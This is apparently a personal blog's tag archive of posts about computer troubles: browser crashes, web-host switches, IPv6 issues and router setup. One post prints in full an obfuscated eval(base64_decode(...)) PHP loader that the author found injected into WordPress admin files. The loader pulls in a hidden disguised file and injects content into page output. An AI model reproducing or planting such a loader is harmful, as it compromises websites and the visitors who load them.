Tag Archives: malfunctioning computers

urk, kleep, pumg

i booted up my computer this morning and firefox told me it had an update for one of the addons, so i let it install, instead of starting firefox, it looks like it’s going to start, flashes a white screen for a moment and then crashes with no explanation. tried it a number of times in different ways, and no firefox. so i used another browser (konqueror) and i upgraded firefox (it’s supposed to tell you when there are updates, but it never has for me). now it looks like it’s going to start, flashes a white screen for two and a half moments, and then crashes with no explanation. i updated my software sources and updated my system (something which i haven’t done in about 2 months) and, lo-and-behold, there’s a new firefox in the updates, but it still doesn’t work.

i tried my mac, and it said “oh, look… there’s a firefox update. you want to install it?” to which i answered “yes” and it’s now installed, running, and works fine.

as much as i like linux, there are times when it can be really frustrating. i only hope that bill (my older, brain injured helpdesk client who is also running linux) doesn’t have the same problems i am having.

i tried running firefox from the terminal, and it gives me a whole bunch of UNKNOWN and ABORT errors that probably mean something to someone, but only indicate to me that i’m going to have to dig deeper to get to the source of the problem. 😐

i ran firefox -safe-mode from the terminal, and disabled all of my addons, and firefox started right up. i think it was the thing that looks up the flag of the country where the server lives, but it was a good excuse to dump a whole bunch of themes that i don’t use any longer, and a few addons that i used once and have been hanging around ever since version 2, and that sort of thing.

i got email from my router this morning, which says “TCP Packet – Source:63.245.212.23,54375 Destination:216.162.193.190,8081 – [DOS]”… i don’t know what it means, but judging by the fact that it says “[DOS]” (which i take to mean “Denial Of Service”) and there’s only one of them, i’m not going to worry too much about it. the drizzle guy said that IP space belongs to mozilla, so i am officially not going to worry about it.

regarding the NYC Musical Saw Festival, i actually got email from the Saw Lady, who is, apparently, the motivating force behind the musical saw festival, and i pointed her towards my saw case pictures. she said she’d add my name to the invite list, so that, on the off chance that i’m actually in new york city, and have my saw, i can come to the festival.

⁂ ✬ ⨀ 文

along with all of the other SNAFUs i’ve been forced to deal with over the past few days (an itemised list would prove too exasperating to compile at this point), and despite any actual evidence that it is true, i have become relatively convinced that i may have H1N1, otherwise known as “HEINEY”. i felt fine on saturday, but, on sunday, the closer i got to the time (7:00 pm) when i had to go to a fremont phil rehearsal i was feeling more and more sick. i didn’t actually feel nauseous until i had already decided not to go to the (essential, required) rehearsal, and about 8:00 i turned into a geyser for about 2 hours. then i had a fever and chills for about 24 hours, whereupon the coughing started and has been going on more or less ever since. i feel more-or-less normal at this point, despite occasional fits of coughing. at this point, i’m so through with being sick… 8/

i bought a new wireless DSL modem/router, because the old modem/router apparently doesn’t work with OsX version 10.6.2 (snow leopard), which is what i am running on my mac now that i’ve upgraded thanks to St. Fred. of course i didn’t find out about it immediately, because when i got home with my newly-upgraded computer and turned it on, it found internet right away and i didn’t think to check where it was coming from. of course, as soon as i tried to connect with the mac from linux i discovered the problem, which was that the mac was wirelessly connecting to internet through the neighbour’s router instead of through mine, and when i tried to switch to my router, it simply wouldn’t connect. of course, moe’s temporary windows7 laptop connected to the old router without a problem, but she got her new mac today, which also runs snow leopard, so i went out and bought a new router, and, after having to call qwest once, drizzle three times, and having to make an adaptor and a cable (fortunately i had the tools and materials in my workshop!!) i finally got it working the way it’s supposed to.

of course, then i had to figure out that the new router makes a difference between networking with or without “wireless access control”. “with” means that i can’t access my mac – wireless – from my linux machine, which is connected with a wire, without jumping through a bunch more, different hoops that i haven’t figured out yet. i still haven’t figured out the right hoops to jump through to secure my wireless network so that my neighbours can’t log in to my network the way i can log in theirs. when i enable “wireless equivalency protection” (WEP), it takes longer, and the password doesn’t work the way i think it should, which means that only the linux machine gets internet, but can’t connect to the mac at all, the mac gets no internet except through the neighbour’s router, and i have to “sneaker net” files from the mac to the linux machine, which is do-able, but not ideal.

on the positive side, i haven’t had to switch host providers again, i got ALL of the data off of moe’s old hard drive, in spite of the fact that her old laptop is well and truly dead. i’ve got the chassis for sale on craigslist, and supposedly there’s going to be somebody come by and pick up the old router this afternoon. also, i’ve become the default insider tech-guru for the *NEW* fremont players web site – http://www.fremontplayers.com/ – which currently points to twankey.com. the “job title” reflects the fact that, despite the fact that i will be designing, hosting and doing maintenance for the site, i will not have to come up with content, which is exactly what i was hoping for.

and now, to clean up my browser a little and give you an idea of what i’ve been reading recently, here is MINI-LINQUE DUMP Ⅳ½

Supreme Court Allows Corporations To Run For Political Office – in spite of the fact that there is a glimmer of hope in the fact that we no longer have a far-right-wing nut-job as president any longer, my general impression is that the country is as broken as ever, and there are certain ways that it is broken now that it wasn’t broken before more level heads took over, which doesn’t say much about the glimmer of hope that i spoke of earlier. The Onion is the only way i’ve been surviving these days. if it weren’t for the onion, i would probably have sworn off all news reporting a year ago.

Nation’s Strangers Decry Negative Portrayal Among Children – once again, from the onion (see, i told you so) this is yet another example of why: ever since i was as young as i can remember, i remember people in the position of authority (my parents, the parents of my friends, teachers, etc.) telling me to be wary of “strangers”, and my thinking that the same “strangers” had something compelling about them. i was determined to find out what it was. now, i am a “stranger”, and i know what they’re talking about: kids, in general, are a lot less concerned about the world in general than adults are, and have a tendency to imagine quite a bit more than adults do. now, as an adult and a “stranger”, i just want to be that innocent again. it doesn’t have anything to do with “your weiner”. “the man” gets a little nervous when “strangers” and kids mix too much, though.

The Phallic Monuments Of Love Valley – who says God doesn’t have a sense of humour?

that didn’t take long…

so on 10 january, i filed a support ticket with my new host provider, cpanel-host.us, that email wasn’t working the way it was supposed to. two days later, i learned that my clients’ email, and the BSSB mailing list wasn’t working at all, and i filed a support ticket about that, as well. on the 14th, they (finally) responded saying that the mail servers had been fixed. then, on 15 january, i got an email saying that mailing lists were now forbidden, and if i had a mailing list on my account on the 17th, my account would be suspended. i wrote back to them, asking if they were serious about suspending my account two days after they had helped me get my mailing list working, and their response was “yes”…

😡

but at the same time, i got email from my previous host provider, IsMyReseller.com. apparently he felt guilty for saying that he wanted to raise my rates almost 300% (from $5 a month to $18 a month). i wrote back to him saying that it was all well and good that he was feeling guilty, but what was preventing him from doing the same thing again in a month, or five, when he, once again, discovers that he isn’t making enough money from me. his response was to send me a .pdf of a document that says he will charge me $6.50 a month for the life of the account.

so i switched back.

the thing that’s really amazing is that he took me from a backup to being up and running in a little more time – 15 minutes or so – than the time it took him to download the backup from my old host… and that includes all of my databases, my email addresses and my mailing list.

i find this somewhat unusual. nobody has ever tried to get me back as a customer. usually if i decide not to be somebody’s customer any longer, it is for a very specific reason which the person has no intent of changing. this guy said that he actually felt guilty for asking to raise my rates, and as soon as he had a way to continue running his company without raising my rates, he emailed me immediately.

cpanel-host.us (the second to the last host) was saying that my email address was sending mail to 50 addresses at once (which is true) and that this was causing unusual server stress. i know from my days at openwave that 5,000 emails a day isn’t uncommon (i’ve even still got a script that sends anywhere from 100 to 100,000,000 emails to any address or addresses you put in to it, but it only works with openwave mail server software), especially for a mail server that has a lot of users, so i was sort of wondering why it was a problem, to which they responded that they were afraid some spammer would gain access to my mailing list and have their IP address blacklisted. they obviously chose the wrong person to accuse of being a potential spammer.

and the fact that IsMyReseller.com on top of the email problems which were what the previous host provider was balking at doesn’t hurt his chances either… 😉

now as long as it stays this way for a few months, maybe i’ll have the chance to wind down from this semi-permanent state of panic that i’ve been in ever since december of 2008, when i decided to switch from drizzle to 1&1…

The Church of Tina Chopp got this piece of snailmail...in other news, i went to check my PO box today and found this very amusing letter:

L.J.M. Steijn
Juliana van StolBergstraat 30
2805 CN Gouda
The Netherlands

CHURCH OF TINA CHOPP
P.O. Box 1864
Milton
WA 98354
USA

Gouda, 10 January 2010

Dear Tina Chopp,

My name is Leo Steijn and I live in the Netherlands.

I have look at your very interesting site, and for more information must I be contacted the Church, What I now do.

Please, gife me if you will more information about the Snake Destiny and what he is theach, also the secrets about bizarre sex.

Another question, is your church also be present in the Netherlands? If so, than I like it to come in contact with your members. Can you please bring me in contact with them. I will be very thankfull for it!

I hope to hear soon of you.

With kindest regards,

Leo Steijn

P.S.
i don’t have e-mail

gee, where do i even start with this letter…? i know a couple of people who live in the netherlands, but i’m not sure if they would be willing to contact this guy about the Church of Tina, and even if they were willing, i’m not sure they’re properly prepared to be representatives of the Church, but at the same time, what other choice do i have?

oy… 8/

i’m having a tough time, and i can’t even blog about it! 🙁

i’ve selected a new host provider and begun the process of switching, but because of the fact that new host provider doesn’t feel comfortable allowing me ssh access, i’m forced to do everything the slow way, one file at a time, and “ask” for help, then wait up to 24 hours for a response, every time i find something that i can’t do with a GUI that i could do in 5 seconds with ssh access. as a result, i haven’t actually switched the DNS settings and now i’m going to have to export my wordpress database and upload it to the new server again because of this post… and there’s a problem with the blog on the new host server, which i could fix in 5 seconds using ssl, but because of the fact that he’s nervous about offering ssl, even if i do hit the “submit” button on this post, download the database from the old server, and reupload the database on the new server, it won’t show up at the new server… all you can see at this point is

Warning: fopen(/home/hybridel/public_html/przxqgl/wp-content/cache/wp_cache_mutex.lock) [function.fopen]: failed to open stream: Permission denied in /home/hybridel/public_html/przxqgl/wp-content/plugins/wp-cache/wp-cache-phase2.php on line 96

Warning: Cannot modify header information - headers already sent by (output started at /home/hybridel/public_html/przxqgl/wp-content/plugins/wp-cache/wp-cache.php:2) in /home/hybridel/public_html/przxqgl/wp-includes/pluggable.php on line 868

i got email about my Tengwar Sindarinwa font from the guy who plagiarised it (taking out some of the spacing characters that he didn’t understand, reversing some characters, etc., etc.) saying that i was the one who ripped him off, in spite of the fact that i have original artwork from the ’70s that proves otherwise. what he doesn’t realise is that you can’t “copyright” a letter shape, all you can do is copyright a font name, and my “Tengwar Sindarinwa” and his “Tengwar Gandalf” have different names. there’s nothing that he can do except be annoying, but he’s choosing a very difficult time to do it.

moe applied to be an animal behaviour specialist, which meant that she had to put together almost 1000 printed pages of records, logs, articles and so forth that she has been working on for the past 7 years. she was working on the last of it the other night and one of the dogs spilled a cup of water all over her laptop. we managed to get it shut down without obviously shorting out something, removed the battery and dried it off as well as we could, including leaving it upside down on a towel over a heat register overnight, and blowing it out thoroughly with compressed air, but when i tried to boot it up it gave me the “i can’t find the operating system” icon. i called apple care and explained the situation to them, and they said that if i took it in to the mac store that they had software that could look at the contents of the disk, and even made an appointment for me – the last one of the day – at the mac store in southcenter. i drove 20 miles to southcenter and waited almost an hour before someone finally talked to me (it was after closing time). he wouldn’t take my case ID number and wouldn’t even look at the computer. he told me that, in fact, they do have the software that apple care told me about, but that their policy was to “use it for our own purposes, and not to retrieve customer data”. when i said that apple care had told me differently, he said he would give them “feedback”, but there was nothing he could do. 😮

to make matters worse, i called apple care again this morning, because at least there i can give them my case ID number so that at least they will know what i’m talking about, but the first support goon i talked to said exactly the same thing as the one i talked to last night. when i told him that he was wrong and that the mac store wouldn’t help me, he passed me along to his supervisor who told me there was nothing he could do. 😯

i used to be a macintosh afficianado. i was a mac-head before most of the “geniuses” at the “genius bar” were even born. the first mac i used was a Lisa. but the customer service i received from apple, and from the mac store yesterday is enough to make me never want to see another apple product again in my entire life. i currently own, and am running a dual-core intel macbook pro, and the next time i have difficulties with it, it’s going to lose it’s apple operating system all together, and gain a new linux operating system. 😡

then there was the fact that i left my linux computer running when i went to bed last night, and this morning when i got up, it was not running and i couldn’t start it up. according to the people that i took it to (it, fortunately, is still under warranty), the power supply was laden with dust, and they speculated that it stopped working when it overheated. fortunately, because of the fact that it is still under warranty, i didn’t have to pay to get it fixed, but i drove all the way there and back twice before i had breakfast this morning.

it’s almost 4:00 already and i’ve gotten exactly NOTHING done for the past THREE DAYS. i’ve got a performance this evening at the rialto theatre in tacoma, a real, authentic, old-time vaudeville stage where i’ll be opening for Pearl Django, and i’m in such a bad mood that i’m not even excited about it. 😛

AAAARRRGGGHHH!

that’s A4R3G3H3 for those of you who are keeping score…

you may or may not have noticed that my web sites have been down for the past 24 hours. this was because at 4:00 friday afternoon, i got an email from my “new” host provider that he was going down for “4 to 5 hours (maximum 10 hours) for upgrades” and wanted to know if it was “okay with you if we start them this evening”… and then proceded to start the upgrades without even making sure that it was okay with me or not.

also, he informed me that my rates would be increasing by almost 300% because he is having trouble breaking even. 😯

needless to say, i have – once again – embarked on the task of finding yet another host service provider – my fourth switch in less than a year… 🙄 i will probably be switching in january, after the panto is over.

more stuff after the panto.

more buggerish, then all is well…

there was a fair amount more IPv6 furor to deal with: i got email and firefox working, but it was a temporary workaround, because akregator and amarok (and probably a bunch of other things of which i’m only vaguely aware) were acting extremely screwy. akregator was displaying all of my RSS feeds, but it couldn’t find the server for any of them, even though many of them updated repeatedly during the past 48 hours, and the updates actually showed up on the screen. also, it found the text for new articles, but for some reason it couldn’t find the graphics at all. i finally solved the problem by changing the contents of /proc/sys/net/ipv6/conf/all/disable_ipv6 from 0 to 1, and then making it permanent by adding net.ipv6.conf.all.disable_ipv6 = 1 to /etc/sysctl.conf, all of which i found out about thanks to hints given to me by a very knowledgable gentleman named francis larson, to whom i owe a great deal of gratitude. you can read the whole sordid story, except for the part with francis larson, if you’re that inspired. it was also thanks to francis larson that i found out about the medibuntu repository, which will likely make it possible for me to do awesome audio stuff on my kubuntu box really soon.

in other news, there was this post at good as you which was an article from a 1906 newspaper about a woman who had married another woman, and was probably going to avoid punishment because she had broken no laws… which makes me wonder: if there were no laws against same sex marriages, presumably until after 1906, then it was apparently not enough of an issue to “the founding fathers” to take notice of it, so why are the “christians” so upset about it now? obviously there weren’t any laws against same sex marriage because they didn’t need them, regardless of whether or not they were actually occurring, which, if this article is any indication, they were, no matter what the “christians” are trying to tell us. and if they didn’t need them then, then why the hell are they getting their panties in a twist over them now? feh!

also, Oddly Specific

bugger

host problems combined with IPv6 incompatibilities have caused my complete absence from internet for the past couple of days. despite the fact that IPv6 is the latest, hottest thing to hit the net since the ping of death, it is just about as effective at this point, so i have disabled it and am suddenly able to do things like check my email and browse the web.

the other part, of course, is that the new host provider went down two days ago, so even if i hadn’t had the problems with the new IPv6, i still wouldn’t have been able to post anything, which is really irritating.

Windoesn’t 7

so there’s a new commercial on TV, just in time for xmas, advertising the new HP laptop/netbook/desktop combination with Windows 7, which is “networked together by GeekSquad™”…

i have three computers, two laptops and a desktop, and all three of them are networked together, and we didn’t have anything like geek squad. in fact, they didn’t require any networking at all, we just started them up and they worked; two different operating systems – Mac and Kubuntu – the way that computers are supposed to work.

it’s my considered impression is that the only reason you would need GeekSquad™ is if you use Windoesn’t, and if you use Windoesn’t, ultimately, no GeekSquad™ in the world will be able to help you.

demons

i have probably always been a computer geek, although for a long time i resisted being labeled as such because i was too interested in music, but my father has been a professional computer geek electrical engineer for as long as i have been around. one of the first “computers” i ever played with was actually a “dumb terminal” that had a big foam recepticle on the back of it to plug the phone reciever into so that it would do stuff more than just look and act like a selectric typewriter.

i saw my father at the Seattle Art Museum the other day. i was there for a performance of La Banda Gozona – where the consul general for mexico in seattle gave a long winded speech in spanish that i couldn’t understand – and i saw my father taking pictures. i was wearing my reading glasses, so i didn’t get a good look at him, and he disappeared before i could switch to my distance glasses, but i’m sure it was him. i find it very odd that, in spite of our differences, my parents haven’t spoken to me at all since my injury, and didn’t come visit me in the hospital when there was a chance that i would die… but i digress.

anyway, when i was first actively learning about computers, back in the late ’70s, i would frequently ask questions of my mentor, jim, and every now and then i would ask him a question which doesn’t really have an answer. questions like “why is it that when i tried X process, it failed, but when you tried exactly the same X process, it worked?” or “why is it that i send an email to X address and it never gets there, you send an email to X address and it takes two weeks to get there, and someone else sends an email to X address and it gets there immediately?” obviously there is some answer to questions like that, but often they are technical enough that even the experts might have difficulty explaining it, especially to someone (like me) who doesn’t understand.

when i would ask jim a question like that, he would get all quiet, look around mysteriously, and whisper “demons”…

he could have easily said “i don’t know” or “go look it up” or any one of a number of other perfectly rational responses, but that wouldn’t have made anywhere near the impression on me that blaming all my unknown computer problems on “demons” would have.

of course, i later learned that the electronic mechanisms that make things work inside computers are called “daemons”, but my impression is, even now, when i have wholeheartedly embraced the label of “computer geek”, that it still makes a fair amount of sense.

fast forward to a few days ago. i have just completed what i hope will be my last host provider switch for a LONG time, but i still have to figure out why the control panel on the new host works slightly differently than the (exact same) control panel on the old host: i set up a subdoman – przxqgl.hybridelephant.com – which, when you hit it with a browser, loads pages found at hybridelephant.com/przxqgl. it used to be that when you looked at the browser, you saw przxqgl.hybridelephant.com, but now, when you point your browser at przxqgl.hybridelephant.com it automatically redirects to hybridelephant.com/przxqgl and when i remove the redirect in the control panel, my browser gives me a “redirect error”.

so i wrote to tech support. he wrote back to me almost instantly, saying that he had gotten it to work, and that i didn’t need the redirect in the control panel.

… wait, what?

anyway, it works… and i keep thinking about jim and his “demons”…

whooy… 8/

the past five days have been definitly ones where i spent way too many spoons.

i began a day before halloween by deciding to switch host providers again. the new old host provider had a strong tendency to flat out lie about their service: they say they don’t delete support tickets, but i have had no fewer than three support tickets mysteriously disappear from their server. they also say that they don’t block IP addresses from their support server, but i have documented no fewer than five different occasions where my IP address was blocked from accessing their support server and had to have their support technician – Zac O. – clear the IP block so that i could access their server.

so i researched and found another host server that was willing to take all of my domains. there was a bit of controversy over at web hosting talk regarding whether or not a host provider who is using litespeed web server is prohibited from hosting “blasphemous” or “adult oriented” content, but as far as i have been able to tell, according to the email that i recieved from a litespeed sales representative ” for general shared hosting purpose, or for general user contributed content web site, it is ok.” i’m still a little confused by the guy who said why do you mention this is a porno site?, and then requested a friend connection with me, when i very clearly stated that it’s not a porno site more than once, but i guess that’s what i can expect from a relative newbie.

anyway, i got the blog and the other web sites operating again, after going back and forth with the new new host provider about shell access a couple of times. they don’t provide shell access by default, and they’re a bit less responsive than the old new host provider, but they’re more honest about what they actually provide, and they’ve added WHMCS to the mix, which will ultimately improve the likelihood that i will be a successful web host myself some day.

meanwhile, i’ve also all but completed the clarinet that i’ve been working on for thaddeus. i also got started on the jewelry project that i’m working on for xmas presents. and, finally, i’ve finished the sticker project that i’ve been working on for howlin’ hobbit.

i still have to discover why, when you enter “https://przxqgl.hybridelephant.com/” into your browser’s address field, you end up at “http://www.hybridelephant.com/przxqgl” – which is actually where you go, but the subdomain is what it has been before, and as far as i’ve been able to tell, nothing has changed except the IP address of the host server, but i know from past experience that anything that changes could mean that the whole thing suddenly and mysteriously could decide to work entirely differently, so i’m not really worried about it at this point, especially when i know that if you enter the subdomain you’ll redirect to the correct place anyway.

also, the authority in england that said that alcohol and tobacco are more dangerous than cannabis and LSD has been relieved of his position as an authority, which just goes to show that even when they do listen to reason, they don’t always hear reason. oh well, better luck next time.

aha!

so i was going through the oscommerce forums last night, desperately searching for the solution to yesterday’s problem, and i came across this comment on a post whose solution i have already tried (and failed) to get working – despite the fact that the installation instructions are only in german, and they produce only a marginally understandable machine translation. however, the comment mentioned that paypal wants the shipping calculations turned off on their side if i’ve got the shipping calculations already figured out on my side – which sort of makes sense in a bizarre, round-about sort of way, so i tried it.

i have since gotten 3 orders – itself a bit of an anomaly, since i haven’t gotten more than 2 orders in the past 4 months – and all of them included the shipping charge information that used to be missing from the emails i get from paypal.

riiiiiiiight… turn it on and it’s broken, turn it off and it’s fixed… that makes sense.

and it is paypal’s fault. now the only problem is that when i tell them that, there’s a strong probability that they’re going to say that i’m doing it wrong… 😐

progress…?

insulation & pegboardi’ve accomplished about as much as is possible for me to do without help… and possibly a ladder. the insulation is left over from an igloo stage-prop that was a part of a movie that jeremy was a part of producing last year, before i went to burning man. he wrote a message to cirquechat saying that he had this “dome” that needed to be got rid of, and it sort of fit into my fantasy of what a dome should be, so i said i wanted it. but when it was delivered, i discovered that it was not very substantial, being made of quarter-inch plywood and foam insulation, so i stowed it under a huge blue tarp at the bottom of our property and used it for projects like insulation for windows, knowing that eventually i would have a project like this to use the rest of it. now i intend to cover the bottom half of the insulated wall with sheetrock (which is just out of camera range on the right side of the photo) and the top half with pegboard. i came home from home depot the other day with two 4×8 sheets of pegboard, and i realised that i have never had this much pegboard – with a purpose – in my entire life.

in other news, i installed gucharmap yesterday, and when i rebooted, apparently my operating system decided that instead of running KDE, it was really set up to run gnome by default. which, of course, meant that when i rebooted this morning, instead of loading my pretty, shiny KDE desktop, it loaded the red, drab, default gnome desktop, and gave me an error message that said “The panel encountered a problem while loading OAFIID: GNOME_FastUserSwitchApplet. Do you want to delete the applet from your configuration”. after a good deal of whinging and complaining, and a good deal of forum perusing, and a little bit of inginuity, i discovered that i could disable automatic login and change my session back to KDE, whereupon everything went back to the way i expected it to be.

also, stuart has decided that he’s not going to play with the fremont philharmonic any longer. i don’t know what that means in the short run, considering that we’ve got trolloween and december performances of alladin, but it means a substantial change in the phil, and potentially the end of the phil all together. pam has said that if she has the choice of performing with the phil for no money, or going hiking, that she’s going to choose hiking. ted hasn’t been showing up very regularly for about a year, and katharine just had a baby, so there’s no guarantee that he’s going to be any more consistent in the short run. joseph just quit the phil as well, about a month ago. that leaves myself, sasha, kiki, and possibly kim, and i don’t know how much any of those people – myself included – want to be involved with building a new fremont philharmonic, especially since we’ve got a huge repertoire, for which we would have to come up with all the parts, or start all over from scratch. it also affects my participation in things like the moisture festival, OCF and the fremont solstice parade. i’m stereotypically worried, but there isn’t much i can do about it at this point, because, although stuart says he’s discussed his decision with simon (the founding clown of the fremont players), macque isn’t even back from burning man yet, and i haven’t even talked to the other members of the band… but i’m stereotypically worried anyway. i hate to think that my ability to attend OCF (for example) could be affected by stuart’s quitting the band, but there it is, and at this point, there’s nothing i can do about it.

something has gone awry with the CSS part of the admin section for my wordpress blog. i logged in a few days ago and was greeted by a bunch of mysql errors and the blog’s admin page made with no CSS, and, to varying degrees, it’s been that way ever since. i suppose i’m going to have to do something about it eventually, but at this point the only thing i can think of is to totally replace everything except the database.

[UPDATE] i figured it out, sort of… all of the php files in my wp-admin folder had the following code appended to the top:

eval (base64_decode ('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9oeWJyaWRlbC9wdWJsaWNfaHRtbC9wcnp4cWdsL3dwLWluY2x1ZGVzL2pzL3RpbnltY2UvdGhlbWVzL2FkdmFuY2VkL3NraW5zL3dwX3RoZW1lL2ltZy9zdHlsZS5jc3MucGhwJykpe2luY2x1ZGVfb25jZSgnL2hvbWUvaHlicmlkZWwvcHVibGljX2h0bWwvcHJ6eHFnbC93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9za2lucy93cF90aGVtZS9pbWcvc3R5bGUuY3NzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgpeyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkI9b3JkKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDMsMSkpOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9MTA7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0wO2lmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT11bnBhY2soJ3YnLHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDEwLDIpKTskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPSRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzFbMV07JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9MiskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjgpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMTYpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9Mjt9JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1nemluZmxhdGUoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpO2lmKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9PT1GQUxTRSl7JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz0kUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4O31yZXR1cm4gJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mzt9fWZ1bmN0aW9uIGRnb2JoKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA9Z3pkZWNvZGUoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApO31lbHNle3JldHVybiBnbWwoKS4kUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19'));

which, when decoded, lead me to a file in /wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/ which was a whole bunch of script information that was base64 encoded, and a couple of IP addresses.

i’ve got the information more or less removed from the files, and i have deleted a whole bunch of suspicious files, and i have yet to discover who the IP addresses are, but when i do…

moe and i spent all day cooking yesterday, and today we have a freezer full of lunches and dinners. if things go as we’ve been discussing, we won’t have to cook again until next month.

i’m putting insulation and wallboard in the workshop. after that, it’s just a matter of moving in and unpacking the workshop stuff that i have had in storage for the past 4½ years. woo hoo!

nine minute response

so at 10:28 this evening, i posted the following advertisement to craig’s list:

i have two computers, i want musical instruments

I have:
One clone PC in a beige box with Kubuntu Linux, AMD 1.5ghz processor, 800mb RAM, and 6gb hard disk.
One turquoise G3 Mac desktop with a Sonnet G4 upgrade, 800 mb RAM, 6gb hard disk and 18 gb hard disk.
Plus one Sony Trinitron P1130 19″ monitor, one KVM switch with 2 sets of cables, one PS2 keyboard and one USB mouse.

You have:
Woodwind (serrusophone, bassoon, tubax, bass clarinet, alto flute, or suchlike) or brasswind (valve trombone, double-bell euphonium, helicon, fluegelhorn or suchlike) instrument or instruments that you can’t play, are unused and/or unwanted, have sat around in the attic or closet for 20 years, or that sort of thing. It doesn’t matter if it doesn’t work for some reason, because I am a musical instrument repair technician and a sculptor, so if I can’t fix it so that it will play again, I can make something else out of it.

Write to me stating what you’ve got and we’ll work something out.

at 10:37 (nine minutes later) i recieved an email message from “Metallica” which said:

willing to sell just the pc? or just the processor and ram?

i wrote back to them at 10:44 (sixteen minutes after the original post was approved), saying:

i don’t want money, i want musical instruments. if you’ve got musical instruments, then we can talk.

we’ll see how this plays out. i’d be willing to bet that they don’t respond.

a sigh of relief…

so i bought a new computer yesterday, and spent most of today getting it set up and running. apparently there is some specific thing that toast avoids doing, resulting in my burning no less than 3 install disks which didn’t boot correctly before i switched to disk utility and actually read the howto for burning an installation CD. i bought a bare system from a local place called InfoTech – stereotypical name, stereotypical geeks – and they didn’t have a problem building a system that was according to my specifications and not installing windoesn’t on it… of course when i had some problems with the install disk for kubuntu 9.04 they couldn’t help me, because there was nobody there that “played with linux”, but they were helpful in that they demonstrated that it was my disk and not the system itself, so everything all worked out in the end. i’ve now got a PC clone with an AMD 2.6 Ghz processor, 2 gb of RAM and a 250 gb hard disk, to which i have added my old 200 gb hard disk, my old external USB CD/DVD writer, and my colour inkjet printer. i also bought a 17″ LCD monitor with the money i saved not having windoesn’t installed, and the whole thing came in just under $500.

the strange parts are that because of the fact that i manually moved my mail information from the old disk to the new disk, kontact announces to me that it is apparently already running on fig (the name of my previous machine, the new one is ginko) and that running more than one instance of kontact may result in lost mail. i’m not sure how to convince it that it’s actually running on a new machine, but fortunately it allows me to run it anyway. also, very likely because of the fact that i didn’t restore it from a backup, all of my old mail disappeared, all of my address book entries disappeared and all of my feeds disappeared, but those are only comparaitively minor irritations. also apparently the new amarok doesn’t exactly agree with the old amarok, and i’m not exactly sure what to do about it, but that, too, is a comparatively minor irritation.

